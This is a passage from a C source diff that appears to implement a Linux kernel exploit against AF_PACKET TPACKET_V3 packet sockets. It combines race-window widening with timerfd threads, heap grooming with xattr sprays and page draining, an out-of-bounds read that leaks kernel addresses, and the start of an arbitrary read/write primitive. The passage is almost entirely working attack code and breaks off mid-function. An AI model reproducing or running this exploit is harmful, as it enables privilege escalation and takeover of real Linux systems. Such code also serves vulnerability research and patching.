(!thread_in_sleep_state(t->tid)) { ; } +} + +void pg_vec_buffer_thread_wait_work_complete(struct pg_vec_buffer_thread *t) +{ + pthread_mutex_lock(&t->mutex); + while (!t->work_complete) + pthread_cond_wait(&t->cond, &t->mutex); + t->work_complete = false; + pthread_mutex_unlock(&t->mutex); +} + +void pg_vec_buffer_thread_quit(struct pg_vec_buffer_thread *t) +{ + pthread_mutex_lock(&t->mutex); + t->quit = true; + pthread_cond_signal(&t->cond); + pthread_mutex_unlock(&t->mutex); + Pthread_join(t->handle, NULL); +} + +struct pg_vec_buffer_thread *pg_vec_buffer_thread_create(void) +{ + struct pg_vec_buffer_thread *t = Calloc(1, sizeof(*t)); + pthread_mutex_init(&t->mutex, NULL); + pthread_cond_init(&t->cond, NULL); + t->tid = -1; + Pthread_create(&t->handle, NULL, pg_vec_buffer_thread_fn, t); + return t; +} + +void pg_vec_buffer_thread_destroy(struct pg_vec_buffer_thread *t) +{ + pg_vec_buffer_thread_quit(t); + pthread_cond_destroy(&t->cond); + pthread_mutex_destroy(&t->mutex); + free(t); +} + +struct tpacket_rcv_thread_work *tpacket_rcv_thread_work_create( + struct timespec pg_vec_lock_release_time, + struct msghdr *msg +) +{ + struct tpacket_rcv_thread_work *w = Calloc(1, sizeof(*w)); + w->pg_vec_lock_release_time = pg_vec_lock_release_time; + w->msg = msg; + return w; +} + +void tpacket_rcv_thread_work_destroy(struct tpacket_rcv_thread_work *w) +{ + msghdr_destroy(w->msg); + free(w); +} + +void *tpacket_rcv_thread_fn(void *arg) +{ + pin_thread_on_cpu(CPU_NUMBER_ONE); + struct tpacket_rcv_thread *t = arg; + + int trigger_sendmsg_packet_socket = Socket(AF_PACKET, SOCK_PACKET, 0); + + for ( ;; ) { + pthread_mutex_lock(&t->mutex); + while (!t->quit && !t->ready_to_work) + pthread_cond_wait(&t->cond, &t->mutex); + + struct tpacket_rcv_thread_work *work = t->work; + t->work = NULL; + t->ready_to_work = false; + bool quit = t->quit; + pthread_mutex_unlock(&t->mutex); + + if (quit) + break; + + struct timespec cur_time = {}; + syscall(SYS_clock_gettime, CLOCK_MONOTONIC, &cur_time); + struct timespec duration = timespec_sub( + work->pg_vec_lock_release_time, + cur_time + ); + + syscall(SYS_nanosleep, &duration, NULL); + syscall(SYS_sendmsg, trigger_sendmsg_packet_socket, work->msg, 0); + + tpacket_rcv_thread_work_destroy(work); + + pthread_mutex_lock(&t->mutex); + t->work_complete = true; + pthread_cond_signal(&t->cond); + pthread_mutex_unlock(&t->mutex); + } + + return NULL; +} + +void tpacket_rcv_thread_send_work(struct tpacket_rcv_thread *t, struct tpacket_rcv_thread_work *w) +{ + pthread_mutex_lock(&t->mutex); + t->work = w; + t->ready_to_work = true; + pthread_cond_signal(&t->cond); + pthread_mutex_unlock(&t->mutex); +} + +void tpacket_rcv_thread_wait_work_complete(struct tpacket_rcv_thread *t) +{ + pthread_mutex_lock(&t->mutex); + while (!t->work_complete) + pthread_cond_wait(&t->cond, &t->mutex); + t->work_complete = false; + pthread_mutex_unlock(&t->mutex); +} + +void tpacket_rcv_thread_quit(struct tpacket_rcv_thread *t) +{ + pthread_mutex_lock(&t->mutex); + t->quit = true; + pthread_cond_signal(&t->cond); + pthread_mutex_unlock(&t->mutex); + Pthread_join(t->handle, NULL); +} + +struct tpacket_rcv_thread *tpacket_rcv_thread_create(void) +{ + struct tpacket_rcv_thread *t = Calloc(1, sizeof(*t)); + pthread_mutex_init(&t->mutex, NULL); + pthread_cond_init(&t->cond, NULL); + Pthread_create(&t->handle, NULL, tpacket_rcv_thread_fn, t); + return t; +} + +void tpacket_rcv_thread_destroy(struct tpacket_rcv_thread *t) +{ + tpacket_rcv_thread_quit(t); + pthread_cond_destroy(&t->cond); + pthread_mutex_destroy(&t->mutex); + free(t); +} + +struct msghdr *msghdr_create( + void *data, + size_t datalen, + const char *devname +) +{ + void *copy_data = Calloc(1, datalen); + if (data) + memcpy(copy_data, data, datalen); + + struct iovec *iov = Calloc(1, sizeof(*iov)); + iov->iov_base = copy_data; + iov->iov_len = datalen; + + struct sockaddr_pkt *addr = Calloc(1, sizeof(*addr)); + snprintf((char *)addr->spkt_device, sizeof(addr->spkt_device), "%s", devname); + struct msghdr *msghdr = Calloc(1, sizeof(*msghdr)); + msghdr->msg_namelen = sizeof(struct sockaddr_pkt); + msghdr->msg_name = addr; + msghdr->msg_iov = iov; + msghdr->msg_iovlen = 1; + return msghdr; +} + +void msghdr_destroy(struct msghdr *msghdr) +{ + struct iovec *iov = msghdr->msg_iov; + size_t iov_len = msghdr->msg_iovlen; + for (size_t i = 0; i < iov_len; i++) + free(iov[i].iov_base); + + free(iov); + struct sockaddr_pkt *addr = msghdr->msg_name; + free(addr); + free(msghdr); +} + +struct necessary_threads *necessary_threads_create(int timerfd) +{ + struct necessary_threads *nt = Calloc(1, sizeof(*nt)); + + nt->timerfd_waitlist_threads = Calloc(TOTAL_TIMERFD_WAITLIST_THREADS, sizeof(*nt->timerfd_waitlist_threads)); + for (int i = 0; i < TOTAL_TIMERFD_WAITLIST_THREADS; i++) + nt->timerfd_waitlist_threads[i] = timerfd_waitlist_thread_create(timerfd); + + for (int i = 0; i < TOTAL_TIMERFD_WAITLIST_THREADS; i++) + timerfd_waitlist_thread_wait_unshare_complete(nt->timerfd_waitlist_threads[i]); + + nt->pg_vec_lock_thread = pg_vec_lock_thread_create(); + nt->pg_vec_buffer_thread = pg_vec_buffer_thread_create(); + nt->tpacket_rcv_thread = tpacket_rcv_thread_create(); + + return nt; +} + +void necessary_threads_destroy(struct necessary_threads *nt) +{ + for (int i = 0; i < TOTAL_TIMERFD_WAITLIST_THREADS; i++) + timerfd_waitlist_thread_destroy(nt->timerfd_waitlist_threads[i]); + + pg_vec_lock_thread_destroy(nt->pg_vec_lock_thread); + pg_vec_buffer_thread_destroy(nt->pg_vec_buffer_thread); + tpacket_rcv_thread_destroy(nt->tpacket_rcv_thread); + free(nt); +} + +struct pages_order3_read_primitive *pages_order3_read_primitive_create( + struct necessary_threads *necessary_threads, + int configure_network_interface_socket, + int timerfd +) +{ + struct pages_order3_read_primitive *primitive = Calloc(1, sizeof(*primitive)); + for (int i = 0; i < TOTAL_PAGES_ORDER3_GROOM_FOR_SIMPLE_XATTR; i++) + primitive->drain_order3_pages_packet_sockets[i] = Socket(AF_PACKET, SOCK_RAW, 0); + + for (int i = 0; i < TOTAL_PAGES_ORDER3_GROOM_FOR_SIMPLE_XATTR; i++) + primitive->placeholder_packet_sockets[i] = Socket(AF_PACKET, SOCK_RAW, 0); + + primitive->necessary_threads = necessary_threads; + primitive->configure_network_interface_socket = configure_network_interface_socket; + primitive->timerfd = timerfd; + return primitive; +} + +void pages_order3_read_primitive_destroy(struct pages_order3_read_primitive *pages_order3_read_primitive) +{ + pages_order3_read_primitive_cleanup_unused_simple_xattr(pages_order3_read_primitive); + pages_order3_read_primitive_cleanup_unused_packet_sockets(pages_order3_read_primitive); + + if (pages_order3_read_primitive->leaked_content_request) { + Removexattr( + pages_order3_read_primitive->leaked_content_request->filepath, + pages_order3_read_primitive->leaked_content_request->name + ); + + simple_xattr_request_destroy(pages_order3_read_primitive->leaked_content_request); + } + + if (pages_order3_read_primitive->victim_request) { + Removexattr( + pages_order3_read_primitive->victim_request->filepath, + pages_order3_read_primitive->victim_request->name + ); + + simple_xattr_request_destroy(pages_order3_read_primitive->victim_request); + } + + free(pages_order3_read_primitive); +} + +bool pages_order3_read_primitive_build_primitive( + struct pages_order3_read_primitive *pages_order3_read_primitive, + struct timespec timer_interrupt_amplitude +) +{ + u8 packet_data[128] = {}; + *(size_t *)(packet_data) = XATTR_SIZE_MAX; + u32 packet_datalen = 128; + + int dummy_ifindex = If_nametoindex(DUMMY_INTERFACE_NAME); + struct sockaddr_ll addr = { + .sll_family = AF_PACKET, .sll_ifindex = dummy_ifindex, .sll_protocol = htons(ETH_P_ALL) + }; + + int packet_loss_enable = 1; + int packet_version = TPACKET_V3; + unsigned packet_reserve = 38; + + struct tpacket_req3 exploit_tx_ring = {}; + exploit_tx_ring.tp_block_size = PAGES_ORDER5_SIZE; + exploit_tx_ring.tp_block_nr = 1; + exploit_tx_ring.tp_frame_size = PAGES_ORDER5_SIZE; + exploit_tx_ring.tp_frame_nr = + exploit_tx_ring.tp_block_size / exploit_tx_ring.tp_frame_size * exploit_tx_ring.tp_block_nr; + + struct tpacket_req3 exploit_rx_ring = {}; + exploit_rx_ring.tp_block_size = PAGES_ORDER4_SIZE; + exploit_rx_ring.tp_block_nr = 2; + exploit_rx_ring.tp_frame_size = PAGES_ORDER4_SIZE; + exploit_rx_ring.tp_frame_nr = + exploit_rx_ring.tp_block_size / exploit_rx_ring.tp_frame_size * exploit_rx_ring.tp_block_nr; + exploit_rx_ring.tp_sizeof_priv = 32624; + exploit_rx_ring.tp_retire_blk_tov = USHRT_MAX; + + struct sock_filter filter[MAX_FILTER_LEN] = {}; + for (int i = 0; i < MAX_FILTER_LEN - 1; i++) { + filter[i].code = BPF_LD | BPF_IMM; + filter[i].k = 0xcafebabe; + } + + filter[MAX_FILTER_LEN - 1].code = BPF_RET | BPF_K; + filter[MAX_FILTER_LEN - 1].k = 8; + + struct pg_vec_lock_thread_work *pg_vec_lock_thread_work = NULL; + struct pg_vec_buffer_thread_work *pg_vec_buffer_thread_work = NULL; + struct tpacket_rcv_thread_work *tpacket_rcv_thread_work = NULL; + struct msghdr *msghdr = NULL; + + struct __kernel_sock_timeval sndtimeo = { .tv_sec = 1 }; + struct timespec pg_vec_lock_release_time = {}; + struct timespec pg_vec_lock_timeout = { + .tv_sec = sndtimeo.tv_sec, + .tv_nsec = sndtimeo.tv_usec * NSEC_PER_USEC + }; + + struct necessary_threads *necessary_threads = pages_order3_read_primitive->necessary_threads; + + for (int i = 0; i < TOTAL_TIMERFD_WAITLIST_THREADS; i++) + timerfd_waitlist_thread_send_work(necessary_threads->timerfd_waitlist_threads[i]); + + for (int i = 0; i < TOTAL_TIMERFD_WAITLIST_THREADS; i++) + timerfd_waitlist_thread_wait_work_complete(necessary_threads->timerfd_waitlist_threads[i]); + + struct victim_packet_socket *exploit_victim_packet_socket = NULL; + exploit_victim_packet_socket = victim_packet_socket_create( + sndtimeo, addr, exploit_tx_ring, exploit_rx_ring, packet_loss_enable, packet_version, + packet_reserve, MAX_FILTER_LEN, filter + ); + + struct simple_xattr_request_container *container = NULL; + struct simple_xattr_request *simple_xattr_request = NULL; + + int needed_simple_xattr = TOTAL_PAGES_ORDER3_GROOM_FOR_SIMPLE_XATTR * TOTAL_SIMPLE_XATTR_SPRAY_PER_GROOM; + container = simple_xattr_request_container_create(needed_simple_xattr); + + for (int i = 0; i < needed_simple_xattr; i++) { + char value[XATTR_SIZE_MAX] = {}; + char name[XATTR_NAME_MAX + 1] = {}; + snprintf(name, sizeof(name), PAGES_ORDER3_GROOM_SIMPLE_XATTR_NAME_FMT, i); + snprintf(value, sizeof(value), PAGES_ORDER3_GROOM_SIMPLE_XATTR_VALUE_FMT, i); + simple_xattr_request = simple_xattr_request_create( + PAGES_ORDER3_GROOM_SIMPLE_XATTR_FILEPATH, + name, + value, + PAGES_ORDER2_SIZE + ); + + simple_xattr_request_container_insert(container, simple_xattr_request); + } + + pin_thread_on_cpu(CPU_NUMBER_ZERO); + int container_idx = 0; + for (int i = 0; i < TOTAL_PAGES_ORDER3_GROOM_FOR_SIMPLE_XATTR; i++) { + alloc_pages( + pages_order3_read_primitive->drain_order3_pages_packet_sockets[i], + TOTAL_PAGES_ORDER3_PER_DRAIN_FOR_SIMPLE_XATTR, + PAGES_ORDER3_SIZE + ); + + alloc_pages( + pages_order3_read_primitive->placeholder_packet_sockets[i], + 1, + PAGES_ORDER3_SIZE + ); + + for (int j = 0; j < TOTAL_SIMPLE_XATTR_SPRAY_PER_GROOM; j++) { + simple_xattr_request = container->requests[container_idx]; + Setxattr( + simple_xattr_request->filepath, + simple_xattr_request->name, + simple_xattr_request->value, + simple_xattr_request->value_size, + XATTR_CREATE + ); + + container_idx++; + } + } + + for (int i = 0; i < TOTAL_PAGES_ORDER3_GROOM_FOR_SIMPLE_XATTR; i++) { + char tmp[256] = {}; + snprintf(tmp, sizeof(tmp), DRAIN_PAGES_FOR_SIMPLE_XATTR_DATA_FMT, i); + + u64 mmap_size = TOTAL_PAGES_ORDER3_PER_DRAIN_FOR_SIMPLE_XATTR * PAGES_ORDER3_SIZE; + void *m = Mmap( + NULL, + mmap_size, + PROT_READ | PROT_WRITE, + MAP_SHARED, + pages_order3_read_primitive->drain_order3_pages_packet_sockets[i], + 0 + ); + + for (int j = 0; j < TOTAL_PAGES_ORDER3_PER_DRAIN_FOR_SIMPLE_XATTR; j++) { + strcpy(m + j * PAGES_ORDER3_SIZE, tmp); + } + + Munmap(m, mmap_size); + } + + victim_packet_socket_configure_for_exploit(exploit_victim_packet_socket); + + pg_vec_lock_thread_work = pg_vec_lock_thread_work_create( + exploit_victim_packet_socket, + dummy_ifindex + ); + + pg_vec_buffer_thread_work = pg_vec_buffer_thread_work_create( + exploit_victim_packet_socket, + true, // exploit + false // cleanup + ); + + msghdr = msghdr_create(packet_data, packet_datalen, DUMMY_INTERFACE_NAME); + + for (int i = 0; i < TOTAL_PAGES_ORDER3_GROOM_FOR_SIMPLE_XATTR; i++) + free_pages(pages_order3_read_primitive->placeholder_packet_sockets[i]); + + pg_vec_lock_thread_send_work(necessary_threads->pg_vec_lock_thread, pg_vec_lock_thread_work); + pg_vec_lock_thread_wait_in_work(necessary_threads->pg_vec_lock_thread); + + network_interface_down(pages_order3_read_primitive->configure_network_interface_socket, DUMMY_INTERFACE_NAME); + + pg_vec_buffer_thread_send_work(necessary_threads->pg_vec_buffer_thread, pg_vec_buffer_thread_work); + pg_vec_buffer_thread_wait_in_work(necessary_threads->pg_vec_buffer_thread); + + network_interface_up(pages_order3_read_primitive->configure_network_interface_socket, DUMMY_INTERFACE_NAME); + + pg_vec_lock_release_time = timespec_add( + necessary_threads->pg_vec_lock_thread->sendmsg_begin_time, + pg_vec_lock_timeout + ); + + struct itimerspec settime_value = {}; + settime_value.it_value = timespec_add(pg_vec_lock_release_time, timer_interrupt_amplitude); + settime_value.it_interval.tv_nsec = 16; + + pin_thread_on_cpu(CPU_NUMBER_ONE); + Timerfd_settime(pages_order3_read_primitive->timerfd, TFD_TIMER_ABSTIME, &settime_value, NULL); + + tpacket_rcv_thread_work = tpacket_rcv_thread_work_create(pg_vec_lock_release_time, msghdr); + tpacket_rcv_thread_send_work(necessary_threads->tpacket_rcv_thread, tpacket_rcv_thread_work); + + tpacket_rcv_thread_wait_work_complete(necessary_threads->tpacket_rcv_thread); + pg_vec_buffer_thread_wait_work_complete(necessary_threads->pg_vec_buffer_thread); + pg_vec_lock_thread_wait_work_complete(necessary_threads->pg_vec_lock_thread); + + memset(&settime_value, 0, sizeof(settime_value)); + Timerfd_settime(pages_order3_read_primitive->timerfd, TFD_TIMER_ABSTIME, &settime_value, NULL); + + struct simple_xattr_request *victim_request = NULL; + bool overflow_success = false; + + for (size_t i = 0; i < container->requests_length && !overflow_success; i++) { + char value[PAGES_ORDER2_SIZE] = {}; + + ssize_t getxattr_ret = getxattr( + container->requests[i]->filepath, + container->requests[i]->name, + value, + PAGES_ORDER2_SIZE + ); + + if (getxattr_ret < 0) { + if (errno == ERANGE) { + victim_request = simple_xattr_request_container_pop_at(container, i); + overflow_success = true; + } else { + assert(false && "Unexpected error"); + } + } + } + + if (overflow_success) { + pages_order3_read_primitive->victim_request = victim_request; + pages_order3_read_primitive->groom_container = container; + } else { + pin_thread_on_cpu(CPU_NUMBER_ZERO); + for (size_t i = 0; i < container->requests_length; i++) { + simple_xattr_request = container->requests[i]; + Removexattr(simple_xattr_request->filepath, simple_xattr_request->name); + } + + simple_xattr_request_container_destroy(container); + + for (int i = 0; i < TOTAL_PAGES_ORDER3_GROOM_FOR_SIMPLE_XATTR; i++) + free_pages(pages_order3_read_primitive->drain_order3_pages_packet_sockets[i]); + } + + pg_vec_buffer_thread_work = pg_vec_buffer_thread_work_create( + NULL, + false, // exploit + true // cleanup + ); + + pg_vec_buffer_thread_send_work(necessary_threads->pg_vec_buffer_thread, pg_vec_buffer_thread_work); + pg_vec_buffer_thread_wait_work_complete(necessary_threads->pg_vec_buffer_thread); + victim_packet_socket_destroy(exploit_victim_packet_socket); + return overflow_success; +} + +void *pages_order3_read_primitive_trigger(struct pages_order3_read_primitive *pages_order3_read_primitive) +{ + void *leak_data = Calloc(1, XATTR_SIZE_MAX); + Getxattr( + pages_order3_read_primitive->victim_request->filepath, + pages_order3_read_primitive->victim_request->name, + leak_data, + XATTR_SIZE_MAX + ); + + return leak_data; +} + +bool pages_order3_read_primitive_build_leaked_simple_xattr( + struct pages_order3_read_primitive *pages_order3_read_primitive +) +{ + struct simple_xattr_request_container *container = NULL; + struct simple_xattr_request *simple_xattr_request = NULL; + void *p = pages_order3_read_primitive_trigger(pages_order3_read_primitive); + void *leak_data = p + PAGES_ORDER3_SIZE - sizeof(struct simple_xattr); + enum leak_data_kind kind = pages_order3_leak_data_kind(leak_data); + + if (kind == LEAK_DATA_SIMPLE_XATTR) { + struct simple_xattr *leak_simple_xattr = leak_data; + char *leak_value = (char *)(leak_simple_xattr->value); + if (strncmp( + leak_value, + PAGES_ORDER3_GROOM_SIMPLE_XATTR_VALUE_BEGIN, + strlen(PAGES_ORDER3_GROOM_SIMPLE_XATTR_VALUE_BEGIN) + ) == 0) { + container = pages_order3_read_primitive->groom_container; + assert(container != NULL); + + ssize_t leak_value_idx = simple_xattr_request_container_search_by_value( + container, + leak_value, + PAGES_ORDER2_SIZE + ); + + assert(leak_value_idx >= 0); + simple_xattr_request = simple_xattr_request_container_pop_at( + pages_order3_read_primitive->groom_container, + leak_value_idx + ); + + pages_order3_read_primitive->leaked_content_request = simple_xattr_request; + pages_order3_read_primitive->leaked_address_request = pages_order3_read_primitive->victim_request; + + free(p); + pages_order3_read_primitive_cleanup_unused_simple_xattr(pages_order3_read_primitive); + return true; + } + } else if (kind == LEAK_DATA_PAGE_DRAIN) { + container = simple_xattr_request_container_create(TOTAL_PAGES_ORDER3_PER_DRAIN_FOR_SIMPLE_XATTR * 2); + + for (int i = 0; i < TOTAL_PAGES_ORDER3_PER_DRAIN_FOR_SIMPLE_XATTR * 2; i++) { + char name[XATTR_NAME_MAX + 1] = {}; + char value[XATTR_SIZE_MAX] = {}; + snprintf(name, sizeof(name), PAGES_ORDER3_DRAIN_RECLAIM_SIMPLE_XATTR_NAME_FMT, i); + snprintf(value, sizeof(value), PAGES_ORDER3_DRAIN_RECLAIM_SIMPLE_XATTR_VALUE_FMT, i); + + simple_xattr_request = simple_xattr_request_create( + PAGES_ORDER3_DRAIN_RECLAIM_SIMPLE_XATTR_FILEPATH, + name, + value, + PAGES_ORDER2_SIZE + ); + + simple_xattr_request_container_insert(container, simple_xattr_request); + } + + bool found_drain_pages = false; + int match_packet_socket = -1; + for (int i = 0; i < TOTAL_PAGES_ORDER3_GROOM_FOR_SIMPLE_XATTR && !found_drain_pages; i++) { + u64 mmap_size = TOTAL_PAGES_ORDER3_PER_DRAIN_FOR_SIMPLE_XATTR * PAGES_ORDER3_SIZE; + void *m = Mmap( + NULL, + mmap_size, + PROT_READ | PROT_WRITE, + MAP_SHARED, + pages_order3_read_primitive->drain_order3_pages_packet_sockets[i], + 0 + ); + + for (int j = 0; j < TOTAL_PAGES_ORDER3_PER_DRAIN_FOR_SIMPLE_XATTR && !found_drain_pages; j++) { + if (strcmp(m + j * PAGES_ORDER3_SIZE, leak_data) == 0) { + match_packet_socket = pages_order3_read_primitive->drain_order3_pages_packet_sockets[i]; + found_drain_pages = true; + } + } + + Munmap(m, mmap_size); + } + + assert(found_drain_pages); + + free_pages(match_packet_socket); + + for (size_t i = 0; i < container->requests_length; i++) { + simple_xattr_request = container->requests[i]; + Setxattr( + simple_xattr_request->filepath, + simple_xattr_request->name, + simple_xattr_request->value, + simple_xattr_request->value_size, + XATTR_CREATE + ); + } + + free(p); + p = pages_order3_read_primitive_trigger(pages_order3_read_primitive); + leak_data = p + PAGES_ORDER3_SIZE - sizeof(struct simple_xattr); + + kind = pages_order3_leak_data_kind(leak_data); + if (kind != LEAK_DATA_SIMPLE_XATTR) { + free(p); + return false; + } + + struct simple_xattr *leak_simple_xattr = leak_data; + char *leak_value = (char *)(leak_simple_xattr->value); + if (strncmp( + leak_value, + PAGES_ORDER3_DRAIN_RECLAIM_SIMPLE_XATTR_VALUE_BEGIN, + strlen(PAGES_ORDER3_DRAIN_RECLAIM_SIMPLE_XATTR_VALUE_BEGIN) + ) == 0) { + ssize_t idx = simple_xattr_request_container_search_by_value( + container, + leak_value, + PAGES_ORDER2_SIZE + ); + + assert(idx >= 0); + simple_xattr_request = simple_xattr_request_container_pop_at(container, idx); + pages_order3_read_primitive->leaked_content_request = simple_xattr_request; + simple_xattr_request = simple_xattr_request_container_pop_at(container, 0); + pages_order3_read_primitive->leaked_address_request = simple_xattr_request; + pages_order3_read_primitive->reclaim_drain_pages_container = container; + free(p); + pages_order3_read_primitive_cleanup_unused_simple_xattr(pages_order3_read_primitive); + return true; + } else { + simple_xattr_request_container_destroy(container); + free(p); + return false; + + } + } + + return false; +} + +u64 pages_order3_read_primitive_leak_pages_order3_simple_xattr_address( + struct pages_order3_read_primitive *pages_order3_read_primitive +) +{ + void *p = pages_order3_read_primitive_trigger(pages_order3_read_primitive); + void *leak_data = p + PAGES_ORDER3_SIZE - sizeof(struct simple_xattr); + struct simple_xattr *leak_simple_xattr = leak_data; + simple_xattr_dump(leak_simple_xattr); + + u64 pages_order3_simple_xattr_kernel_address = 0; + + u64 next = (u64)(leak_simple_xattr->list.next); + u64 prev = (u64)(leak_simple_xattr->list.prev); + + if ((next & PAGES_ORDER3_MASK) == next) { + pages_order3_simple_xattr_kernel_address = next; + } else if ((prev & PAGES_ORDER3_MASK) == prev) { + pages_order3_simple_xattr_kernel_address = prev; + } else { + assert(false); + } + + free(p); + return pages_order3_simple_xattr_kernel_address; +} + +void pages_order3_read_primitive_cleanup_unused_simple_xattr( + struct pages_order3_read_primitive *pages_order3_read_primitive +) +{ + struct simple_xattr_request_container *container = NULL; + struct simple_xattr_request *simple_xattr_request = NULL; + + container = pages_order3_read_primitive->groom_container; + pages_order3_read_primitive->groom_container = NULL; + + if (container) { + for (size_t i = 0; i < container->requests_length; i++) { + simple_xattr_request = container->requests[i]; + Removexattr(simple_xattr_request->filepath, simple_xattr_request->name); + } + + simple_xattr_request_container_destroy(container); + } + + container = pages_order3_read_primitive->reclaim_drain_pages_container; + pages_order3_read_primitive->reclaim_drain_pages_container = NULL; + + if (container) { + for (size_t i = 0; i < container->requests_length; i++) { + simple_xattr_request = container->requests[i]; + Removexattr(simple_xattr_request->filepath, simple_xattr_request->name); + } + + simple_xattr_request_container_destroy(container); + } +} + +void pages_order3_read_primitive_cleanup_unused_packet_sockets( + struct pages_order3_read_primitive *pages_order3_read_primitive +) +{ + for (int i = 0; i < TOTAL_PAGES_ORDER3_GROOM_FOR_SIMPLE_XATTR; i++) + Close(pages_order3_read_primitive->drain_order3_pages_packet_sockets[i]); + + for (int i = 0; i < TOTAL_PAGES_ORDER3_GROOM_FOR_SIMPLE_XATTR; i++) + Close(pages_order3_read_primitive->placeholder_packet_sockets[i]); +} + +struct simple_xattr_read_write_primitive *simple_xattr_read_write_primitive_create( + struct necessary_threads *necessary_threads, + struct simple_xattr_request *pages_order3_simple_xattr_request, + u64 pages_order3_simple_xattr_kernel_address, + int configure_network_interface_socket, + int timerfd +) +{ + struct simple_xattr_read_write_primitive *primitive = Calloc(1, sizeof(*primitive)); + primitive->necessary_threads = necessary_threads; + primitive->pages_order3_simple_xattr_request = pages_order3_simple_xattr_request; + primitive->pages_order3_simple_xattr_kernel_address = pages_order3_simple_xattr_kernel_address; + + for (int i = 0; i < TOTAL_PAGES_ORDER3_GROOM_FOR_PGV; i++) + primitive->drain_order3_pages_packet_sockets[i] = Socket(AF_PACKET, SOCK_RAW, 0); + + for (int i = 0; i < TOTAL_PAGES_ORDER3_GROOM_FOR_PGV; i++) + primitive->placeholder_packet_sockets[i] = Socket(AF_PACKET, SOCK_RAW, 0); + + for (int i = 0; i < TOTAL_PAGES_ORDER3_GROOM_FOR_PGV * TOTAL_PGV_SPRAY_PER_GROOM; i++) + primitive->spray_pgv_packet_sockets[i] = Socket(AF_PACKET, SOCK_RAW, 0); + + primitive->victim_packet_socket = -1; + primitive->configure_network_interface_socket = configure_network_interface_socket; + primitive->timerfd = timerfd; + return primitive; +} + +void simple_xattr_read_write_primitive_destroy( + struct simple_xattr_read_write_primitive *simple_xattr_read_write_primitive +) +{ + if (simple_xattr_read_write_primitive->pages_order3_simple_xattr_request) { + Removexattr( + simple_xattr_read_write_primitive->pages_order3_simple_xattr_request->filepath, + simple_xattr_read_write_primitive->pages_order3_simple_xattr_request->name + ); + + simple_xattr_request_destroy(simple_xattr_read_write_primitive->pages_order3_simple_xattr_request); + } + + if (simple_xattr_read_write_primitive->victim_packet_socket != -1) + Close(simple_xattr_read_write_primitive->victim_packet_socket); + + for (int i = 0; i < TOTAL_PAGES_ORDER3_GROOM_FOR_PGV; i++) { + if (simple_xattr_read_write_primitive->drain_order3_pages_packet_sockets[i] != -1) { + Close(simple_xattr_read_write_primitive->drain_order3_pages_packet_sockets[i]); + } + } + + for (int i = 0; i < TOTAL_PAGES_ORDER3_GROOM_FOR_PGV; i++) { + if (simple_xattr_read_write_primitive->placeholder_packet_sockets[i] != -1) { + Close(simple_xattr_read_write_primitive->placeholder_packet_sockets[i]); + } + } + + for (int i = 0; i < TOTAL_PAGES_ORDER3_GROOM_FOR_PGV * TOTAL_PGV_SPRAY_PER_GROOM; i++) { + if (simple_xattr_read_write_primitive->spray_pgv_packet_sockets[i] != -1) { + Close(simple_xattr_read_write_primitive->spray_pgv_packet_sockets[i]); + } + } + + free(simple_xattr_read_write_primitive); +} + +bool simple_xattr_read_write_primitive_build_primitive( + struct simple_xattr_read_write_primitive *simple_xattr_read_write_primitive, + struct timespec timer_interrupt_amplitude +) +{ + u8 packet_data[128] = {}; + *(u64 *)(packet_data) = simple_xattr_read_write_primitive->pages_order3_simple_xattr_kernel_address; + u32 packet_datalen = 128; + + int dummy_ifindex = If_nametoindex(DUMMY_INTERFACE_NAME); + struct sockaddr_ll addr = { + .sll_family = AF_PACKET, .sll_ifindex = dummy_ifindex, .sll_protocol = htons(ETH_P_ALL) + }; + + int packet_loss_enable = 1; + int packet_version = TPACKET_V3; + unsigned packet_reserve = 14; + + struct tpacket_req3 exploit_tx_ring = {}; + exploit_tx_ring.tp_block_size = PAGES_ORDER5_SIZE; + exploit_tx_ring.tp_block_nr = 1; + exploit_tx_ring.tp_frame_size = PAGES_ORDER5_SIZE; + exploit_tx_ring.tp_frame_nr = + exploit_tx_ring.tp_block_size / exploit_tx_ring.tp_frame_size * exploit_tx_ring.tp_block_nr; + + struct tpacket_req3 exploit_rx_ring = {}; + exploit_rx_ring.tp_block_size = PAGES_ORDER4_SIZE; + exploit_rx_ring.tp_block_nr = 2; + exploit_rx_ring.tp_frame_size = PAGES_ORDER4_SIZE; + exploit_rx_ring.tp_frame_nr = + exploit_rx_ring.tp_block_size / exploit_rx_ring.tp_frame_size * exploit_rx_ring.tp_block_nr; + exploit_rx_ring.tp_sizeof_priv = 32624; + exploit_rx_ring.tp_retire_blk_tov = USHRT_MAX; + + struct sock_filter filter[MAX_FILTER_LEN] = {}; + for (int i = 0; i < MAX_FILTER_LEN - 1; i++) { + filter[i].code = BPF_LD | BPF_IMM; + filter[i].k = 0xcafebabe; + } + + filter[MAX_FILTER_LEN - 1].code = BPF_RET | BPF_K; + filter[MAX_FILTER_LEN - 1].k = 8; + + struct pg_vec_lock_thread_work *pg_vec_lock_thread_work = NULL; + struct pg_vec_buffer_thread_work *pg_vec_buffer_thread_work = NULL; + struct tpacket_rcv_thread_work *tpacket_rcv_thread_work = NULL; + struct msghdr *msghdr = NULL; + + struct __kernel_sock_timeval sndtimeo = { .tv_sec = 1 }; + struct timespec pg_vec_lock_release_time = {}; + struct timespec pg_vec_lock_timeout = { + .tv_sec = sndtimeo.tv_sec, + .tv_nsec = sndtimeo.tv_usec * NSEC_PER_USEC + }; + + struct necessary_threads *necessary_threads = simple_xattr_read_write_primitive->necessary_threads; + + for (int i = 0; i < TOTAL_TIMERFD_WAITLIST_THREADS; i++) + timerfd_waitlist_thread_send_work(necessary_threads->timerfd_waitlist_threads[i]); + + for (int i = 0; i < TOTAL_TIMERFD_WAITLIST_THREADS; i++) + timerfd_waitlist_thread_wait_work_complete(necessary_threads->timerfd_waitlist_threads[i]); + + struct victim_packet_socket *exploit_victim_packet_socket = NULL; + exploit_victim_packet_socket = victim_packet_socket_create( + sndtimeo, addr, exploit_tx_ring, exploit_rx_ring, packet_loss_enable, packet_version, + packet_reserve, MAX_FILTER_LEN, filter + ); + + pin_thread_on_cpu(CPU_NUMBER_ZERO); + for (int i = 0; i < TOTAL_PAGES_ORDER3_GROOM_FOR_PGV; i++) { + alloc_pages( + simple_xattr_read_write_primitive->drain_order3_pages_packet_sockets[i], + TOTAL_PAGES_ORDER3_PER_DRAIN_FOR_PGV, + PAGES_ORDER3_SIZE + ); + + alloc_pages( + simple_xattr_read_write_primitive->placeholder_packet_sockets[i], + 1, + PAGES_ORDER3_SIZE + ); + + for (int j = 0; j < TOTAL_PGV_SPRAY_PER_GROOM; j++) { + int k = i * TOTAL_PAGES_ORDER3_GROOM_FOR_PGV + j; + alloc_pages( + simple_xattr_read_write_primitive->spray_pgv_packet_sockets[k], + 